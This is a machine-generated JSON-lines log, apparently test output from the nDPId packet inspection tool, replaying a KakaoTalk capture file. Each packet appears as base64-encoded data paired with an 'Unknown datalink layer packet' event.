+00528{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1174,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069187,"pkt_ts_usec":218939,"pkt_caplen":162,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":162,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAJIAAEAAPxHbEAoYUrwByQGuLDhaBAB+\/9GAbE\/Biz2VGguGVRmE4kc\/5zoedzVrsK8H3lmq7SDj1muM0ODSrLqFmQJs6eFPfo69rxDzZ4A\/9a+d9azljWmPmUL6KuZV6A0JwOF0pl3\/VhYJwj5hwSbGWCuixYRej\/El6UJnAvbUdigwoXJy\/jD\/UbUSYc7a"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1174,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00559{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1175,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069187,"pkt_ts_usec":228095,"pkt_caplen":188,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":188,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAKwAAEAAHRH8zgHJAa4KGFK8WgQsOACYL8eAbDJDfqznw1Sapdpslmw+QKM8ZKjOlfrwPbXlzcVMSPS+TMac09yRfl\/YFNLV7w4uWuXuvI2ZG5+akZoIgh0VCSnf+OGFTIYsiVnx2bTJdKsZjPRAdH\/PkFBhPCgab+26U1aJX4RN3Ph7fQVZcy1UUWWN\/SESMSxpaZKTDSRzTLKUNf4E2MOjoEuGzcv+HIw="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1175,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00547{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1176,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069187,"pkt_ts_usec":233100,"pkt_caplen":180,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":180,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAKQAAEAAHRH81gHJAa4KGFK8WgQsOACQMn+AbDJEfqzrg1SapdqSq3iqCik+XdMpdN9Pz0AXTQfqirko19Zj3UP+hIDUOSXINgrzhmkIMLLWE04Do3Uw0K9CAu2II+GBPCbdnZgxTzHQYikKsmLaAwLnjvbIuA8VpxBA\/rLBlaA+xSmTKxiXEW6kCxW91c\/mhHOYyOM6fhkG\/A2Dke7dZ4bC"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1176,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00441{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1177,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069187,"pkt_ts_usec":253058,"pkt_caplen":102,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":102,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFYAAEAAHBH+JAHJAa4KGFK8WgYoHABCsLGAbE++iz2J2guGVRnRvpsqIXgLEeKVvEqG6BbTzuL8Ndo1wtm3W4y4QgVQKkoXNm5\/856+owxeiXEg"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1177,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00464{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1178,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069187,"pkt_ts_usec":256812,"pkt_caplen":120,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":120,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGgAAEAAQBHaOgoYUrwByQGuKBxaBgBUjg6AbDJHfqz2w1SapdrDX8X7of6A3gWvPRpN98MarlRhNXhB+zav9xC1qSq2Z7kvJmGJPSiKRWR9kCbo9UHEDSQO0XHmJuVsMTTp+LgV"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1178,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00440{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1179,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069187,"pkt_ts_usec":273139,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/KFaAbE+\/iz2NmguGVRmy\/cN7WK2G+bXSeg5\/yRJmhUMc5\/dP3uGZeK0wtM8O2CS\/R0bYr+F3Yf2I"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1179,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00580{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1180,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069187,"pkt_ts_usec":318885,"pkt_caplen":203,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":203,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAALsAAEAAPxHa5woYUrwByQGuLDhaBACnMwGAbE\/Ciz2Y2guGVRlUJc4rGhsqW9Zh\/Mk2SjXwfiuztCNJR24WLyBXMHDqAuvBTvjabkgv7INAr8pIIyL6Aim9bJvtIE5EWjJ+psyX\/QIYoUVYVMFRnd3FVvibzKfWqlyXBaVXpM7WtYiSmnwOqYCX\/XgkCRn+qIhVLgx24r9IBIKH6iz+tyQcFbwlixOxFr8qocgPuMDUvW5AEKhhNr8="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1180,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00514{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1181,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069187,"pkt_ts_usec":331336,"pkt_caplen":155,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":155,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAIsAAEAAHRH87wHJAa4KGFK8WgQsOAB3IROAbDJFfqzvQ1Sapdr3AADaHbmFrnnHeW4kUCeEOGBIorZ4YscNgAlJhGCLxmHn3Cz4qBa0B55yJPog+WJuqADKoT2xMv3lyTdZL+mzIMN3l\/BbgMEnwapt8DhdYzpY\/dxsqMBg+bo26ZldxKhHB1Y="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1181,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00453{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1182,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069187,"pkt_ts_usec":338355,"pkt_caplen":111,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":111,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF8AAEAAQBHaQwoYUrwByQGuKBxaBgBLZ06AbDJIfqz6g1SapdrhQmb\/K2TuQ1fXFr2IWPESnMzOUcgl+ns7pjwpUYDppYIL99sDEQzm3s1Q9QfwWSN5hH6t1bp8"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1182,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00481{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1183,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069187,"pkt_ts_usec":355445,"pkt_caplen":131,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":131,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHMAAEAAHRH9BwHJAa4KGFK8WgQsOABfddOAbDJGfqzzA1SapdoFFWK6MhBK7JMHbL3WmSOlUn+fuXQlfuhPvFWbEV1Rt\/iquI3Mgty3nfej5cGef8ozsWGSZI0OZIQqZVXmjguO02UHR3q8Evy5iNQ="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1183,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00476{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1184,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069187,"pkt_ts_usec":377326,"pkt_caplen":127,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":127,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAG8AAEAAQBHaMwoYUrwByQGuKBxaBgBbQyWAbDJJfqz+Q1Sapdogy3nerA2n2pLRH143WEbv3kATOxgc1qj7ut48Ohx7fNXiV171tKitDghjaqZDG9aMc2RyuGfSklf4AbVy3HExl0jGCjCQ2g=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1184,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00527{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1185,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069187,"pkt_ts_usec":403327,"pkt_caplen":162,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":162,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAJIAAEAAHBH96AHJAa4KGFK8WgYoHAB+A+yAbE\/Biz2VGguGVRmE4kc\/5zoedzVrsK8H3lmq7SDj1muM0ODSrLqFmQJs6eFPfo69rxDzZ4A\/9a+d9azljWmPmUL6KuZV6A0JwOF0pl3\/VhYJwj5hwSbGWCuixYRej\/El6UJnAvbUdigwoXJy\/jD\/UbUSYc7a"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1185,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00464{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1186,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069187,"pkt_ts_usec":403418,"pkt_caplen":120,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":120,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGgAAEAAHRH9EgHJAa4KGFK8WgQsOABUifSAbDJHfqz2w1SapdrDX8X7of6A3gWvPRpN98MarlRhNXhB+zav9xC1qSq2Z7kvJmGJPSiKRWR9kCbo9UHEDSQO0XHmJuVsMTTp+LgV"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1186,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00558{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1187,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069187,"pkt_ts_usec":407416,"pkt_caplen":189,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":189,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAK0AAEAAPxHa9QoYUrwByQGuLDhaBACZSYyAbE\/Diz2cmguGVRkyRhPSo2i0PISseWq7v6fYD1phvXFX6PV4DeHudxK8F2JnzbRPWFbPBrivBxnics69SRqBzdEXT5u46F72cntI+YhSiSJQN8YsmdkHGy5t9LphhLvwDeyRxVmBRfLskrRQJ94lpRylzu\/N1jKOuSacACMBrom5NUbMgXxgfR63TiOyKEq3"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1187,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00493{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1188,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069187,"pkt_ts_usec":408423,"pkt_caplen":140,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":140,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHwAAEAAPxHbJgoYUrwByQGuLDhaBABoAsKAbE\/Eiz2gWguGVRlZHg3nhfymkBJPxU0Hk6+3htilKCsHwbU0+gZdMtwiMHzp87wJdCra7ihVlw0kZdqLhxKvIUCe7gdsZdJaz6D2acVSkZXIYmeOGnQP8lMFx5w7f6w="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1188,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00510{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1189,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069187,"pkt_ts_usec":417914,"pkt_caplen":151,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":151,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAIcAAEAAQBHaGwoYUrwByQGuKBxaBgBzZNaAbDJKfq0CA1SapdrIJZfAk3\/IJgH3he7CQNcBX+tI8ovh4ORyI73nlwq5u600d9niN3Nd+begySRAA5lsOLF1Sy5I\/Wivj81ChzieN4nx8JMgJZbn0jEPio6SxT52ph05Ab+Wc48+fRaj9g=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1189,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00580{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1190,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069187,"pkt_ts_usec":491919,"pkt_caplen":203,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":203,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoALsAAEAAHBH9vwHJAa4KGFK8WgYoHACnNxuAbE\/Ciz2Y2guGVRlUJc4rGhsqW9Zh\/Mk2SjXwfiuztCNJR24WLyBXMHDqAuvBTvjabkgv7INAr8pIIyL6Aim9bJvtIE5EWjJ+psyX\/QIYoUVYVMFRnd3FVvibzKfWqlyXBaVXpM7WtYiSmnwOqYCX\/XgkCRn+qIhVLgx24r9IBIKH6iz+tyQcFbwlixOxFr8qocgPuMDUvW5AEKhhNr8="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1190,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00453{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1191,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069187,"pkt_ts_usec":511389,"pkt_caplen":111,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":111,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF8AAEAAHRH9GwHJAa4KGFK8WgQsOABLYzSAbDJIfqz6g1SapdrhQmb\/K2TuQ1fXFr2IWPESnMzOUcgl+ns7pjwpUYDppYIL99sDEQzm3s1Q9QfwWSN5hH6t1bp8"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1191,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00479{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1192,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069187,"pkt_ts_usec":515631,"pkt_caplen":129,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":129,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHEAAEAAPxHbMQoYUrwByQGuLDhaBABdQmyAbE\/Fiz2kGguGVRk27fKuFssI5ZGIcW6shvbsRP7ZL28dF7f5SsFK4tV0HNxQJM3nNlR\/nqOo7iFNPYFeKaKNGMRj2\/TuTgC8Lj9ijbAtHSDyWAn9"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1192,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00587{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1193,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069187,"pkt_ts_usec":515723,"pkt_caplen":209,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":209,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAMEAAEAAPxHa4QoYUrwByQGuLDhaBACtjQeAbE\/Giz2n2guGVRkC7ZdZBoWHrzEwELmGE4XlftjfIryxvEr7B3IO+LAuhd22AqQl7wfY4Pnd0rgc6uHYNSCRPL7UhKePo6FBOQXBZXfYpU+LP++nkt+F7dcc1hIn6847J2315l5FGClOmyYbKMGlVWNTCQrbNi10A7zLaHAOnxqSkq\/zz6aQN8gHS\/qve4CsC3UcBv85YjVE6bbf4EswHef8dBI="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1193,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00476{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1194,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069187,"pkt_ts_usec":519416,"pkt_caplen":127,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":127,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAG8AAEAAHRH9CwHJAa4KGFK8WgQsOABbPwuAbDJJfqz+Q1Sapdogy3nerA2n2pLRH143WEbv3kATOxgc1qj7ut48Ohx7fNXiV171tKitDghjaqZDG9aMc2RyuGfSklf4AbVy3HExl0jGCjCQ2g=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1194,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00457{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1195,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069187,"pkt_ts_usec":527503,"pkt_caplen":113,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":113,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGEAAEAAQBHaQQoYUrwByQGuKBxaBgBNegKAbDJLfq0Fw1SapdpNqwYGA0r\/yvegjM2HU6PufVYqQdN4guEYXTgU1NFdr2qZ4CKnPXt5DjU3X8qYJrLKzzBsrDfBJN0="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1195,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00502{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1196,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069187,"pkt_ts_usec":564276,"pkt_caplen":145,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":145,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAIEAAEAAQBHaIQoYUrwByQGuKBxaBgBtXoiAbDJMfq0Jg1Sapdo4rhGhmHHRsL33rqG3E8a2hyk\/XPaPzDCjRwE+PT7GD43xmZZkR7VbOWzbe9WZuP3PYHA29NiFvilLM0hGFTc8f5SHsnQeeM3oVUf75FZKR4L+bh\/RZsVqZQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1196,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00558{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1197,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069187,"pkt_ts_usec":571418,"pkt_caplen":189,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":189,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAK0AAEAAHBH9zQHJAa4KGFK8WgYoHACZTaaAbE\/Diz2cmguGVRkyRhPSo2i0PISseWq7v6fYD1phvXFX6PV4DeHudxK8F2JnzbRPWFbPBrivBxnics69SRqBzdEXT5u46F72cntI+YhSiSJQN8YsmdkHGy5t9LphhLvwDeyRxVmBRfLskrRQJ94lpRylzu\/N1jKOuSacACMBrom5NUbMgXxgfR63TiOyKEq3"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1197,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00494{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1198,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069187,"pkt_ts_usec":579413,"pkt_caplen":140,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":140,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHwAAEAAHBH9\/gHJAa4KGFK8WgYoHABoBtyAbE\/Eiz2gWguGVRlZHg3nhfymkBJPxU0Hk6+3htilKCsHwbU0+gZdMtwiMHzp87wJdCra7ihVlw0kZdqLhxKvIUCe7gdsZdJaz6D2acVSkZXIYmeOGnQP8lMFx5w7f6w="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1198,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00510{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1199,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069187,"pkt_ts_usec":612158,"pkt_caplen":151,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":151,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAIcAAEAAHRH88wHJAa4KGFK8WgQsOABzYLyAbDJKfq0CA1SapdrIJZfAk3\/IJgH3he7CQNcBX+tI8ovh4ORyI73nlwq5u600d9niN3Nd+begySRAA5lsOLF1Sy5I\/Wivj81ChzieN4nx8JMgJZbn0jEPio6SxT52ph05Ab+Wc48+fRaj9g=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1199,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00600{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1200,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069187,"pkt_ts_usec":615332,"pkt_caplen":219,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":219,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAMsAAEAAPxHa1woYUrwByQGuLDhaBAC3QmGAbE\/Hiz2rmguGVRmVv9TmxFPYKrM9T0FcLkaWME+KtD84JcBBJWR85V8vvAkgUL+hs\/gjokaDCnPLVPce\/Vxu9T1xveZmVw54ms0JizOKUaZi7d7mz+jQ3MNDbwGo+vVs4wjgR6+d02\/imY7qQqQdRCEqRoxXuxQDqenlFUvdkPMUgZlSY2ZN4alU2KBiVXN4vOBLkE4u5AaI4pToZtt8Xl5QKXoGoG10jd992fRq"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1200,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00505{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1201,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069187,"pkt_ts_usec":645148,"pkt_caplen":148,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":148,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAIQAAEAAQBHaHgoYUrwByQGuKBxaBgBwrHyAbDJNfq0NQ1Sapdr0ppZAxkK9vjhZAyFRspGmx\/2hGiMr3OpSCijr0yEOBnkX+L3f2k8bgukZqN8lAcPrTYuyx5xWVHBYLluqTNXSsb8LZY35czeRMZKdUmiw2sKqVYB3tHNK3JWsyg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1201,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00503{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1202,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069187,"pkt_ts_usec":692450,"pkt_caplen":145,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":145,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAIEAAEAAQBHaIQoYUrwByQGuKBxaBgBtv8mAbDJOfq0RA1SapdoURDdAwZf+GbSVDnxePLME0jX4fD\/2v729EAW7Z7zpXn8ToJDmmpY71RR7zZDJqWPQ6iUX\/cLQkiCuXZlDqI9\/Sc9YhgqvnjgLSsG1JVP2tebnfYkP10xGMA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1202,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00600{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1203,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069187,"pkt_ts_usec":714850,"pkt_caplen":218,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":218,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAMoAAEAAPxHa2AoYUrwByQGuLDhaBAC2De+AbE\/Iiz2vWguGVRm8b5KThZtA3SJUIS9nRclaUSrtFBR11npQbuxNRM+8Tu9z2lPCdQXOAz7rjjKyj8rKTC6gpaq8DTfOmmFxWp8kZp7N6OPcdOooyOlfNdiAr\/1SbyyzU4XSI6veV+Ofx6oZyPohkQpsOTSeHTwDuyfg3yWu1LreTUfjvv1RCjz\/Idhwc8YU+raCFXGPcsHzz61lFmxRIvBQk\/lJebaMpu3J9JI="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1203,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00599{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1204,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069187,"pkt_ts_usec":715003,"pkt_caplen":219,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":219,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAMsAAEAAPxHa1woYUrwByQGuLDhaBAC3U7uAbE\/Jiz2zGguGVRm0z4cJQwUvKkzQXfpaJ5KABq3BP4gkPhAAtHySoTUKgDGTHyyMkYHnKCkOLn80E7LcbVRIuNbFXTus0CzCrOqXZ6XFljDL5LqPbhM1HKU9eoOdhfwq\/flzYAb2vM+TIRR1txy9aA1Zg4WfLGO5guB1QRyQV0olxoYuQj83Lg3iqyrKyxxZXtOFEYVIoJQBH8Fw+fsSG\/J4p+Q1pa109iI4nz4h"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1204,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} 